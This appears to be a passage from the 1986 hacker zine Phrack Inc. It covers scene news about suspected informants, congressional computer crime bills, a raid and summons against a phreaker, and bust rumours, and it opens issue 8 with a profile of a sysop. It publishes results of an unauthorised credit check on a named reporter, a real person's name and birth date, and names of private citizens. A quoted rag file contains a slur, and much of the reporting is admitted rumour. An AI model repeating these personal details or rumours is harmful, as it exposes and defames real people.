"I was told by Arthur Dent that Lock Lifter did not have his computer anymore, but someone using LL's password called my AE, Metal Shop AE (for which he had lost his AE access but could still log on), and left me feedback in all caps (not like LL would do) that said something like PLEASE GIVE ME ACCESS TO THE GO AE FUNCTION." Arthur Dent has now confirmed that Lock Lifter did not make the call in question and that there is definitely a fed or someone with Lock Lifter's BBS passwords. Sysops be warned.

________________________________________

Daniel Zigmond: The Plot Thickens July 13, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Daniel Zigmond appeared, for a short time, on Pirate‑80. Scan Man let him on to make a statement and then shut him off the board. It is now left to the users to decide whether or not he should be allowed back on.

Information by Sally Ride:::Space Cadet

Some sources say that we are seeing "Whacko Cracko" syndrome, where the story gets more and more bizarre as versions get modified. Like TWCB, Zigmond supposedly says one thing to one person and something different to the next, depending on what he thinks they may want to hear.

The following information was found under in an anonymous post on an unspecific bulletin board. It would appear that someone performed a credit check on Daniel Zigmond (with TRW) and came up with some very interesting results.

As many of you should know, TRW keeps records of all major transactions you make, credit cards you have, house or car payments, bank accounts you own, your job, and many other things. Daniel Zigmond's TRW account is a little different, it has been flagged and the information is not there. What it does show is that Daniel Zigmond holds the position of Staff Programmer at Carnegie Mellon University, a technical school in Pittsburgh, Pennsylvania. It also shows that he was born in 1959 and although it would appear that he is 27, Daniel claims to be 26. TRW lists his only bank account as being at the Pittsburgh National Bank.

What this would mean is that Zigmond has never owned a car, never rented a car, never owned or rented a house, never had a credit card, never made any major transactions, and has only one bank account.

During teleconferences on July 15th and 16th, several members of the PhoneLine Phantoms and myself questioned Zigmond about his TRW account and several other things. Zigmond claims to know nothing about why his account is like this and up till we brought up the fact that he worked at CMU, he had been telling people that he was a reporter only.

As far as his reasons for needing codes, passwords, etc... He says its so his boss (whomever it will be) will believe the story. Why shouldn't he believe it? Haven't there been enough articles on hackers and phreakers in the past? Its been in the news very often and I'm sure that everyone remembers the Richard Sandza articles, "Night of The Hackers" and "Revenge of The Hackers" from Newsweek Magazine.

Most recently Daniel Zigmond has been speaking with several members of the Neon Knights and he has obtained an account on the BBS World's Grave Elite, which is sysoped by Sir Gamelord, the Vice‑President of the P.H.I.R.M.

All hackers and phreaks are welcome to call him to be interviewed, although I advise against it. Please do not call up to rag on him because it is pointless. One example happened during the 2nd conference when someone called on Danny's other line. They said "did we wake you up?" Danny said "no" and then they hung up.

Information Provided By Daniel Zigmond

________________________________________

TeleComputist; Subscribe Now! July 25, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: Forest Ranger and TeleComputist staff,

To: You!

TeleComputist has had a very positive response up to this time and we have received many requests for the free sample issue and now it is time to subscribe.

For the sample free issue please self addressed stamped envelope with 39 cents postage to: TeleComputist Newsletter P.O. Box 2003 Florissant, Mo. 63032

Also, please send subscriptions to the same address. The subscription fee for the newsletter will be twelve dollars a year, fifty cents for back issues. This is a monthly circulation and we encourage letters.

Information Provided by Telecomputist Staff

Telecomputist Newsletter/BBS (314)921‑7938

[KL's notes: Both Taran King and I have seen the first issue and it is damn good. This is NOT a scam, we know the TeleComputist Staff personally and they will NOT rip you off. The newsletter itself is of fine quality both in its print and content. The sample issue was merely a shadow of the upcoming issues and it will continue to get better as time goes on. It is definitely worth the twelve dollars for the year subscription.]

Phrack World News VI Part 2

==Phrack Inc.==

Volume One, Issue 7, Phile 9 of 10

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN *^=‑> Phrack World News <‑=^* PWN

PWN PWN

PWN Issue VI/Part 2 PWN

PWN PWN

PWN Compiled and Written by PWN

PWN PWN

PWN Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

U.S. Telecom Retiring Uninet May 26, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"Uninet is coming down"

Reston, Va. ‑ U.S. Telecom Data Communications Company, Uninet Packet Switching Network will be retired as a result of the proposed merger of the company with GTE Telenet Communications Corporation.

The move came to light last week as a joint transition study team completed a plan detailing how the two companies will be merged. The merger is a result of a joint venture spawned by the two companies parents, GTE Corporation and United Talecommunications Inc.

The packet switches and related equipment which make up Uninet will be sold where possible, but a good deal of the equipment is likely to be discarded, a spokesman for the joint venture said.

Under the plan, the capacity of GTE Telenet Packet Switching Network will be increased to handle additional traffic resulting from transference of U.S. Telecom customers to Telenet, according to the spokesman.

The study groups considered integrating Uninet and Telenet because the external interfaces of each network are compatible but the internal protocols each network uses for functions such as networks management are substantially different and any attempt toward integration would require a massive development effort, spokesman said.

Moving Uninet's traffic to Telenet is far cheaper. Telenet currently supports six times as much traffic as Uninet, which means Telenet's capacity must only be incremented by one sixth.

Uninet will be phased out over a 120 day transition period, to begin when the joint venture is approved. The merger plan calls for all personnel of U.S. Telecom and GTE Telenet to be offered jobs with U.S. Sprint (now called U.S. Sprint, not Sprint/U.S. Telecom company since recent merger). The new company is headquartered in Reston, Virginia where GTE Telenet is currently headquartered. Submitted by Scan Man to Phrack Inc. From Communications Week, May 26 Issue

________________________________________

P‑80 Newsfile

‑‑‑‑‑‑‑

Computer Crime Bill Amended May 14, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

After three years of Congressional hearings, the U.S. House of Representatives is finally getting ready to act on a computer crime bill, but like everything else in Congress many different people have input, and the focus and scope of pending computer crime bills have changed in important ways during the past few months.

When bills are altered significantly, they are often written as "clean bills" and given new numbers. Computer crime measures are changing so fast it is difficult to keep track of them.

What started out as The Counterfeit Access Device and Computer Fraud Act (HR 1001) became late last month The Computer Fraud and Abuse Act (HR 4562) which, although it has retained the same title, is now dubbed HR 4718 following the addition of some minor amendments.

The new bill, sponsored by Rep. William Hughes (D‑N.J.), is very similar to the old one, however, and would impose severe penalties for illegally accessing government and financial computers and crack down on illegal computer bulletin board systems.

For more information on HR 4718, check the menu for bills in the US House of Representatives in the Legislation Database.

Information Provided by Cathryn Conroy

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

House Committee Approves New Computer Crime Bill May 14, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The House Judiciary Committee has approved and sent to the full House a new computer crime bill that would impose severe penalties for illegally accessing government and financial computers and crack down on illegal computer bulletin board systems.

The bill (HR 4718), sponsored by Rep. William Hughes (D‑N.J.), was passed by voice vote with no objection. It is aimed at closing loopholes in existing law and at helping to eliminate the "national malaise" of computer crime, Hughes said.

The bill "will enable us to much more effectively deal with the emerging computer criminal in our society," said Hughes, who chairs the House crime subcommittee.

Rep. Bill McCollum (R‑Fla.), the ranking Republican on the crime subcommittee, added his support for the bill. He said it is time the nation began cracking down on computer criminals.

"We demand privacy, yet we glorify those that break into computers," McCollum said, citing films and television shows that have painted a sympathetic portrait of computer criminals.

The committee agreed to a single amendment to the bill ‑‑ one that would extend the list of computer systems protected by the measure to include those run by the brokers and dealers regulated by the Securities and Exchange Commission. McCollum, who sponsored the amendment, said the brokers and dealers provide some of the same services as banks and should receive equal protection against computer trespassers.

The bill was reported out unanimously from the crime subcommittee. Hughes said an identical companion measure is moving through the Senate and that he expects the bill will become law before the end of the 99th Congress in December. Hughes and McCollum agreed that the bill will help eliminate another glaring example of the failure of existing federal law to keep pace with technological advances.

"For the most part," he said, "our laws are rooted in the concept of property crimes, where someone trespasses into or steals another person's property. "With computer crimes, the trespassing or theft is done electronically, not physically," he added. "Although the losses are often just as great or even greater than property crime, our laws are not current enough to keep pace with the changing technology used by the criminals."

Hughes was the author of the nation's first computer crime law in 1984. That bill established a new federal crime for unauthorized access to classified information in government computers and a misdemeanor for accessing any federal computer or computer containing financial or credit information. The new measure would establish a:

‑:‑ New felony for trespassing into federal interest computers, those run by or for the federal government, banks or states. Offenders would face five‑year prison terms.

‑:‑ Second felony for "maliciously trespassing" into a federal interest computer and causing more than $1,000 in damage.

‑:‑ New category of federal misdemeanors involving the use of illegal BBSes to post private information, such as credit card data, phone account information and passwords.

"We need to establish clear guidelines for protecting the information stored in computers and for cracking down on those who knowingly put computers to criminal of malicious use," Hughes said.

Information Provided by J. S. Orr

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Access To Government Computers Clarified June 9, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Sen. Charles McC. Mathias (R‑ Md.) has introduced a bill in the U.S. Senate that would amend Section 1030 of Title 18 of the United States Code with the purpose of clarifying coverage with respect to access to computers operated for or on behalf of the federal government.

The legislation would clearly impose penalties on anyone who modified, destroyed or prevented use of information in a government computer system or who used or disclosed individually identifiable information in such a computer. The bill has been referred to the Senate Committee on The Judiciary. No subcommittee has yet been assigned.

Information Provided by Cathryn Conroy

________________________________________

Tap Interviews II...by Dead Lord July 14, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The infamous Dead Lord is back and this time with an anonymous rag file that he entitled Tap Interviews II to start people thinking that the Infiltrator had written it. Lets look at this file in parts.

First Dead Lord starts out by saying that he is Infiltrator and then changes his mind and becomes Sharp Razor (who is supposedly in prison). His first interview was an imaginary exchange of words between him and Lex Luthor of the Legion Of Doom. The interview also was used to rag on Infiltrator by the way it was presented.

Dead Lord then decided to interview Executive Hacker of Chief Executive Officers (CEO). The funny part about this interview is that Executive Hacker is another handle used by Dead Lord. The only rag mentioned was that Executive Hacker didn't know that Ultima IV had been released and that there were only two members in CEO. Dead Lord then goes on to say, "LOD is a group of egotistical fools..."

Then started the straight rags without the interview crap. This is where ole Dead Lord gives his opinion on eFerything. For the first few paragraphs he rags on The Doctor, SpecElite, pirates in general, Monty Python, and The Flying Circus BBS.

Then he starts giving descriptions of the people who attend the weekly TAP meetings:

"Cheshire is a tired old man, Broadway Hacker, who is an obnoxious slob anyway, stopped going, the "950 codes kids" Ninja NYC and his pals have mostly moved on, though Ninja NYC still attends. Ninja NYC is, at 17 years old, a complete criminal, the guy has stolen everything you can think of..."

"Two Sigmund Frauds also attend (they are partners) one is a skinny asshole who has an earing and the other I never spoke to, but he is he one who supposedly does all the BBS calling. There is also some friend of Ninja's who works for Northern Telcom."

"There is some young guy with a French accent who always smiles, and some middle aged fag who is always talking. Then there is MARK! Ye Mark, though he tries to be friendly, people try to stay away. He works at a Camera..." "He is slightly (very) unbalanced mentally, and always very confused. He is teased constantly but tolerated."

"There are also a few less important people, such as "Sid" some greasy kid who is proud to have had a $1700+ fone bill because he thought he was using a diverter. Right now, they are generally a motley bunch. Also they get kicked out of restaurants frequently now, and are down to meeting at Burger King. <SIGH> How pitiful..."

After all of the above bullshit, he talks about Lord Digital, his "cult," and his adventures with Paul Muad'Dib. Dead Lord still had more to say though, he decided to bring up Monty Python again as well as Phrack, TWCB, Stronghold East, Private Sector, and 2600 Magazine. All of what he had to say was completely bogus and Dead Lord claimed to be a member of Metal Shop Private, although he called it Metal Shop Elite, which is untrue. Fact is he was never a member, not even on the old MSP. He also claims that he has submitted articles for Phrack, but was turned down because they were original files. Best bet is that whatever he was writing, he didn't know what he was talking about.

Some notes to Dead Lord, as far as why Taran King was in the hospital; First off it was a psychiatric ward not a "hospital". Second, why don't you go and read PWN 5‑1 for the real story of what happened. Third, the cosysop of Stronghold East is not the Slayer, it is Slave Driver.

The truth is that both MSP and SE refused to let Dead Lord on and he holds a grudge. He then went on to say that both 2600 Magazine and Private Sector sucked and that they always have. Of course I am sure that Dead Lord could easily put out a better magazine then either/or 2600 and Phrack Inc., and he of course has shown that he can run a better BBS than Private Sector or Metal Shop Private. He ragged on several other bulletin boards such as Inner View and Speed Demon Elite.

After all of that he comes back to the subject of Legion of Doom, starts on Tribunal of Knowledge, and the says why Chief Executive Officers is better.

"LOD's main claim to fame is that Lex Luthor types up shitloads of manuals and plasters LOD all over them. Getting published in 2600 every other month probably helps also."

"Another emerging group CEO, isn't as ridiculous as LOD, I mean the members [all two of them] know a lot, and write intelligent stuff..."

"Executive Hacker and Corporate Criminal, not much of a group even if these 2 do stack up better than the entire LOD."

His last rags were on Adventurer's Tavern and Disk Rigger.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Most of you by now are probably wondering how we tracked him down. Well for starters Dead Lord made it a lot easier on us by deciding to mention that he lived in NYC. He also talked a lot about others in the NYC area. Dead Lord is a member of Draco Tavern. Dead Lord was refused access to Metal Shop Private and Stronghold East. Dead Lord's file was refused for Phrack Inc. The clincher however was in finding that Dead Lord was actually Executive Hacker, and I'm sure that many of you noticed that CEO, the group the Executive Hacker belongs to, was highlighted and not ragged on.

Some other interesting things about Dead Lord include that fact that he started a rumor in New York City, that Taran King had appeared on a talk show dealing with hackers and the he is responsible for giving out Sigmund Fraud's and Ninja NYC's numbers to Daniel Zigmond and he probably has given him other numbers as well.

It has been said that Dead Lord's phone number has been disconnected by outside sources several times in the past and that the entire TAP Meeting attendees group is out to cause him major physical damage.

________________________________________

Quicknotes

‑‑‑‑‑‑‑‑‑‑

MOB RULES was indited on five counts of wire fraud by the secret service, the charges dated back to 1984. This is supposedly part of the reason that the Marauder took down Twilight Zone, but this is pure rumor.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

More talk about Broadway Hacker being a REAL fed or fed informant has sprung up. We at PWN are looking for factual evidence that this is true.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Night Stalker, sysop of the Underground, was busted for something dealing with Transference of Funds. It is unknown as to if Dan Pasquale had anything to do with this bust. Credit Card numbers were frequently found here as well. His phone line is being tapped and he cannot really discuss his bust to much. He is also under constant surveillance wherever he goes. Look for a full story in Phrack World News VII.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The rumor that Carrier Culprit was busted is untrue, but he did receive a call from AT&T Security, regarding Alliance Teleconferencing Services.

Phrack World News VI Part 3

==Phrack Inc.==

Volume One, Issue 7, Phile 10 of 10

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN *^=‑> Phrack World News <‑=^* PWN

PWN PWN

PWN Issue VI/Part 3 PWN

PWN PWN

PWN Compiled and Written by PWN

PWN PWN

PWN Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

HoloPhax Phreaker Vs. USA July 16, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The following is a segment taken out of the summons served to HoloPhax Phreaker on the above date. The actual summons was over 10 pages long and was mostly depositions from witnesses and/or other testimonies that incriminate HoloPhax Phreaker. I am of course substituting HoloPhax Phreaker for his real name.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

The United States of America and the State of Florida Vs. HoloPhax Phreaker

U.S. and Florida Citizen HoloPhax Phreaker, is believed and under suspicion of such to have violated the following state and federal laws:

U.S. Copyright Laws

U.S. Telephone Infringement Act

Florida State Telephone Harassment Laws

Reported a false emergency to or harassing the following

STATE bureaus:

Seminole County Police Department

Seminole County Fire Department

Orange County Emergency Line (911)

Orange County Police Department

Orange County Fire Department

Orange County Bomb Squad

Orange County Special Weapons Attack Team (S.W.A.T.)

and the following FEDERAL bureaus:

Federal Bureau of Investigation (F.B.I.), Tampa office Federal Bureau of Investigation (F.B.I.), Orlando office United States Secret Service, Orlando office

National Security Agency, Washington D.C. office

Central Intelligence Agency (C.I.A.), Washington D.C. office Internal Revenue Service (I.R.S.), Tallahassee office

United States Marine Patrol, Titusville office

and to have harassed the following private citizens or companies:

John F. Sheehan Bob Driscol Erwin V. Cohen Phillip Minkov Margaret Branch Harley Pritchard Gladys Smith Kathleen Gallop Frank Yarish Aida Smith Ron L. Ebbing Pat C. McCoy Kent Schlictemier Doyle E. Bennet Arthur Meyer

Rape Crisis Center

Poison Control

Spouse Abuse

Koala Treatment Center

Chemical Dependency Unit

Florida Hospital Center for Psychiatry

Orlando General Hospital; Alcohol and Chemical Dependency Unit Cocaine Hot Line

U.S. and Florida Citizen HoloPhax Phreaker is also believed and suspected of the following felonies and/or misdemeanors:

Illegal manipulation of telephone company controlled conversations and devices Fraudulent Use of a Credit Card (i.e.: Carding)

Grand Theft

Possession of Stolen Property

Defrauding the Telephone Company (i.e.: Phreaking)

Illegal Entry (i.e.: Hacking)

Annoying or Harassing calls

Theft

Breaking and Entering

Assault and Battery

Harassment of a Government Emergency line

Threats to the life of the President of the United States of America Possible Treason to the United States of America

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Well, wasn't that nice, especially the parts about *treason* and threats to the life of the President of The United States of America. HoloPhax Phreaker claims that the majority of the crimes, including all of the harassment charges, were committed on an Alliance Teleconference that he was NOT in control of and as such had no control over what/who was called and what hap pened. One example of this has to do with threatening the life of the President, HoloPhax says that this was done on a confer ence with the U.S. Secret Service.

It all started with a phone call at about 12:30 PM on July 16, 1986. The call was placed from a CB (Citizen's Band) radio in a car. They unknown caller told HoloPhax that the police were on their way to search his house and would be there in 15 minutes. The caller also said that the law enforcement officials had a warrant to search HoloPhax's property, however they did not specify as to what was to be looked for. HoloPhax grabbed everything he could and buried it all in his backyard.

Sure enough, within 15 minutes his *expected* guests arrived. One cruiser and four unmarked vehicles pulled up blocking his and the neighbor's driveways. About sixteen people came to the door and HoloPhax let them in, after all they did have a warrant. Several of them pushed HoloPhax aside and then the search started on the first floor. While some searched through the sofa, other furniture, and drawers, a couple of them flashed the warrant as well as their identification, U.S. Secret Service and National Security Agency.

They then went up to HoloPhax's room and immediately check his phone's, computer's, and television's serial numbers. They also took around 30 pictures of things in his room. They then searched through stacks of worthless printouts and confiscated several dozen of his disks that contained pirated terminal programs, utilities, text files, and games.

When they couldn't find any hack/phreak material or a modem, they became angry and started ripping the sheets off the beds, pulling up the carpet from the floor, and knocking on the walls. While most of them were doing this, another agent handed HoloPhax a paper that stated exactly what they were looking for.

He told HoloPhax that since they had not found anything on the list, they could only leave with what little they had and could NOT take HoloPhax into custody. They searched a couple of other rooms, but not as thorough as they had searched HoloPhax's room. They had taken books off the shelves and flipped through their pages, looked inside pillow cases and under some loose boards in the floor. After 1‑ 1 1/2 hours they finally left and said that HoloPhax would be contacted very soon for a hearing date.

One of the more interesting members of the search team was Richard Proctor (See PWN 5‑5 for more information on Richard Proctor).

He wore little round glasses that were tinted so you couldn't see his eyes. He had long brown hair (longer than a business person should...) and was wearing a suit. He had fair skin, but he wasn't really tan. He looked like a mix of a dude out of Woodstock and someone from IBM management. He didn't say much, and only spoke directly to HoloPhax once. He asked,"Where the fuck are you hiding the codes!?" HoloPhax responded with, "Go fuck your sister!" This really pissed Proctor off. Proctor then proceeded to tearing up his room pretty bad. He seemed to know as much about HoloPhax as the NSA and SS guys did (but then he was probably briefed ahead of time).

There was also a representative from the local sheriff's department as well as one from the F.B.I. They asked HoloPhax several questions , most of them were directed to a "mafia" type group called PHBI that is semi‑local to HoloPhax's area.

They seemed to want to connect HoloPhax to many "hits" PHBI had done on people, businesses, and the government. They did not make clear what it was they were trying to say HoloPhax did, but they sure did try many ways of tricking him into admitting that he was a member of this group or some other phreak or anarchist league.

Ok, now going back to the summons, it was about ten pages long and most of it was printouts of accounts on bulletin boards and interviews with people that knew something of HoloPhax's activities or activities of close aquaintences.

The Infiltrator and HoloPhax used to go to the same school in 10th grade and in the summons there was an interview with the police officer of that school that mentioned some of the "jobs" that "they" had pulled there and never got caught for. Infiltrator was also mentioned in a note by some guy that was named John Sheehan who had been harassed by phone/credit for 1 1/2 years. He said that HoloPhax and Infiltrator were responsible for the 140 hours of tape he had. Infiltrator was also mentioned in several BBS printouts.

The law enforcement officials did acquire several of the older issues of Phrack Inc. Newsletter and they kept trying to make HoloPhax admit to writing files on credit fraud, phreaking, or hacking. Specifically, as far as hacking, were files on MILInet and ARPAnet.

The handle they were looking for was Agent Orange, which HoloPhax had gone by for 6 years. He changed his handle to HoloPhax after an incident that took place roughly a year ago when HoloPhax was busted for hacking Compuserve and N.A.S.A. accounts. Law enforcement officers had also tried to get him for phreaking, but that attempt failed.

As far as the mysterious phone call before the bust, HoloPhax thinks that maybe the PHBI got wind of what was going down and warned him. How or why he doesn't know. It is really unknown as to why he is suspected of being a member of this group.

HoloPhax admits a guilty plea for the charges of Illegal Entry (Hacking), Defrauding the phone company (Phreaking), a little harassment, and possession of stolen property. He pleas innocent to the rest of the charges.

HoloPhax's last statement was that he will be back into hack/phreaking in the near (maybe distant if convicted) future. He is always available for conferences if you have questions.

Information Provided by HoloPhax Phreaker through interview with Knight Lightning

________________________________________

Lightman's Stories...Hoax or Fact? July 20, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Many of you should remember last issue's article about David Lightman and Blade Runner. After that article was printed, many other points of view were brought up. The following does not necessarily represent the views of Phrack, Phrack World News, or myself.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

According to Ryche, a phreak in the 214 NPA, David Lightman doesn't like Blade Runner because of both the P.H.I.R.M. and Worlds Grave Elite kicking him out as Co‑Sysop of that board.

This of course made David Lightman very angry and he decided to change Blade Runner's phone number. This of course made Blade Runner very angry as well and since he is over 18 years of age, he decided to call David's father and let him know what his son has been up to. Supposedly father and son had a long talk and David lost his modem privileges for a while.

Ryche also cleared up the rumor about Blade Runner working for Southwestern Bell Security. David Lightman, using Credimatic, performed a credit check on a name that he thought was Blade Runner's, but was in reality a relative of Blade Runner. Anyway what David found was that this person worked for ITT. Now as many of you should know, ITT has many subsidiaries that are non‑Telcom related. Nevertheless, David interpreted this guy as being Blade Runner and then for unknown reasons started telling people that Blade worked for Southwestern Bell Security.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

That was all Ryche had to say about the Lightman/Runner Controversy. This is what he says about David Lightman's "so‑called" involvement with Captain Midnight and the Administration Voice Mailbox.

When Lightman started his Administration Mailbox, several of the local rodents decided to inform the FBI that Lightman was providing a way to defraud the phone company in the mailbox service. From then on, the FBI must have been monitoring the mailbox themselves and when David told everyone that Captain Midnight could receive messages there and that he called every week, this must have made things very interesting.

Ryche also added," Dave set out to make everyone think he knew Captain Midnight and he could reach him. He has also, in the past on phone conversations, said that Captain Midnight was on Administration Board 1 or some Administration board. He has also told me and a few others that he was in the Legion Of Doom."

Information Provided By Ryche

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Almost all of the above article was from posts on the Phrack board on Metal Shop Private. David Lightman said that all of what Ryche says is lies, but that he was sick of discussing it and did not want to bring it up again.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

July 23, 1986

One Wednesday, July 23, 1986 a new message appeared on David Lightman's Voice Mailbox that said something like this, 'Attention, please listen! From this day forward, I will no longer be calling any BBSes. I have run into trouble and I cannot discuss it over the phone line. Telecom College and the Secret Passage on Castle Alcazar will be turned over to Radar Detr. Any associates of mine are warned to be very careful. Any sysop whose BBS I was on is asked to delete my account. Again, I can not discuss this over the phone line. It has really been a blast knowing all of you guys over the past 4 years. I have discovered that no one is immune to getting caught. I have also found out [studder studder] that it [hacking/phreaking] is not worth the price you pay once you are caught. Please give this news to Knight Lightning and have him put it in Phrack World News. That is the best way I know of to warn my associates. Again I cannot discuss this over the phone line, please do not call back. That's about it, bye.'

Please note that the above is not Lightman's exact words, but it is the general idea of what Lightman said. Also, on the same day, Sticky Fingers a 214 NPA phreak got a similar message on his voice mailbox.

On Wednesday evening at about 6:30 p.m. Mr. BiG, sysop of Phantasm Elite, received a call from David Lightman (or rather someone using DL's password). Lightman didn't post on this call which is unusual because Lightman always posts when he calls. David Lightman logged off at about 6:45 PM. So if this really was Lightman and he just didn't post then that places his "trouble" or bust somewhere between 6:45 PM and 10:30 PM (When I called his mailbox). Question: Who gets busted in the evening?

The next day, July 24, Mark Time logged on to Castle Alcazar and saw that Lightman was the last caller. Again there were no new posts by David Lightman on the board. So, if Lightman was busted then the law enforcement agencies do indeed have his BBS and password files. The only other possibility is that Lightman was not busted and that this is all a hoax performed for unknown reasons.

On the same day, Ryche called Lightman to ask what the deal was. He refused to talk about it over the phone. However, they did set a time that Lightman would call him from a pay phone to discuss it. Later, Lightman called Ryche back and told him that he would not discuss the bust until "a few more things were cleared up."

That evening, I learned from The Safe Cracker that David Lightman was not actually busted and that he had received a call from AT&T Security about Blue Boxing. This could mean that they knew he boxed [however he lives in an ESS area] or that he was on a boxed Alliance Teleconference. Either way it matters little. Now nobody can get in touch with him and the message on his mailbox has changed.

Information Provided By Sticky Fingers & Ryche

________________________________________

8

- Phrack Inc. Index by Taran King

- Phrack Pro-Phile V on Tuc by Taran King

- City-Wide Centrex by The Executioner

- The Integrated Services Digital Network by Dr. Doom

- The Art of Junction Box Modeming by Mad Hacker 616

- Compuserve Info by Lotus & Morgoth

- Fun with Automatic Tellers by The Mentor

- Phrack World News VII Part I by Knight Lightning

- Phrack World News VII Part II by Knight Lightning

Phrack Inc. Index

==Phrack Inc.==

Volume One, Issue Eight, Phile #1 of 9

Index

Welcome to the long‑awaited Phrack Inc. Issue 8. I'm quite sorry for all of the delays, but it's time to go back to school and it's been a hectic summer. Unfortunately, over the summer, Fatal Error of 617 died in a motorcycle accident. He was the sysop of Metropolis Elite and was around a while back. This issue is released in memory of him, regardless of any personal opinions.

Taran King

Sysop of Metal Shop Private

Contents:

#1 Phrack Inc. Index by Taran King (1k)

#2 Phrack Pro‑Phile V on Tuc by Taran King (6k)

#3 City‑Wide Centrex by The Executioner (14k)

#4 The Integrated Services Digital Network by Dr. Doom (18k)

#5 The Art of Junction Box Modeming by Mad Hacker 616 (6k)

#6 Compuserve Info by Morgoth and Lotus (8k)

#7 Fun with Automatic Tellers by The Mentor (7k)

#8 Phrack World News VII Part I by Knight Lightning (25k)

#9 Phrack World News VII Part II by Knight Lightning (26k)

Phrack Pro-Phile V on Tuc

==Phrack Inc.==

Volume One, Issue Eight, Phile #2 of 9

==Phrack Pro‑Phile V==

Written and Created by Taran King

June 25, 1986

Welcome to Phrack Pro‑Phile V. Phrack Pro‑Phile is created to bring information to you, the users, about old or highly important/controversial people. This month, I bring to you one of the most influential users of our times and of days of old...

TUC

~~

Tuc is the sysop of RACS III (TUCBBS), a telecom enthusiasts' bulletin board in Stony Point, N.Y. (914).

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Personal

~~~~~~~~

Handle: Tuc

Call him: Scott Jeffrey Ellentuch

Past handles: None

Handle origin: Nickname in high school derived from teachers calling him EllenTOUCH, EllenTOOK, and his corrections were phrased "TUCK!"

Date of Birth: 10/10/65

Age at current date: 20‑1/2 years old

Height: 6'3‑1/2"

Weight: About 195 lbs.

Eye color: Brown

Hair Color: Black

Computers: TRS Model I, then, 2 Atari 800's, then, countless Apple II+'s, then, finally, 1 IBM PC. Sysop/Co‑Sysop of: RACS III (TUCBBS), Phreak Advisor: Sherwood Forest II

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Tuc started out in the BBS world in July 1980 when he first got his modem, a Novation Acoustic. In August of 1981, Connection‑80 of Stony Point, his first bulletin board, was launched into the BBS world. It started on a TRS‑80 Model I, Epson MX‑80 printer, 2 single density disk drives, a Novation Acoustic modem, and a home built auto‑answer module. At the time, he didn't even know what phreaking was, so it was a general public board. A software switch to RACS III occurred on January 10, 1982, running until January 10, 1985. The hard drive arrived a few months ago to build it to the board that it currently is.

Members of the elite world which he has met include King Blotto, Lex Luthor, Dr. Who, Crimson Death, The Videosmith, Jester Sluggo, The Sprinter, Mark Tabas, BIOC Agent 003, Agrajag, Telenet Bob, Big Brother, Cheshire Catalyst, Egyptian Lover, Magnetic Surfer, Paul Muad'Dib, Lord Digital, Sir Knight, 2600 Editor (Emanuelle Goldstein [sp.]), Susan Thunder, Modem Rider, Sharp Razor, Hertz Tone, The Flying Avocado, and The Ace.

